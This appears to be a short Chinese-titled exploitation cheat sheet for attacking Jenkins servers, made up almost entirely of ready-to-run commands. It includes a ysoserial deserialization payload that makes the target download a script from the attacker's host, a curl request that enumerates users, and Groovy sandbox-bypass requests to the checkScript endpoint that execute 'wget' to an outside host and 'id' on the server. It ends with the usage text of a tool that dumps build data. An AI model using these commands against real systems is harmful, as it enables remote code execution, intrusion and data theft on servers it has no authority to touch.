【漏洞利用】关于攻击 Jenkins 服务器的注意事项

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out./jenkins_rce.py jenkins_ip jenkins_port payload.out

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]                              [-l] [-r] [-d] [-s] [-v]                              url 

Dump all available info from Jenkins
positional arguments:  url
optional arguments:  -h, --help            show this help message and exit  -u USER, --user USER  -p PASSWORD, --password PASSWORD  -o OUTPUT_DIR, --output-dir OUTPUT_DIR  -l, --last            Dump only the last build of each job  -r, --recover_from_failure                        Recover from server failure, skip all existing                        directories  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for                        each request (for legacy)  -v, --verbose         Debug mode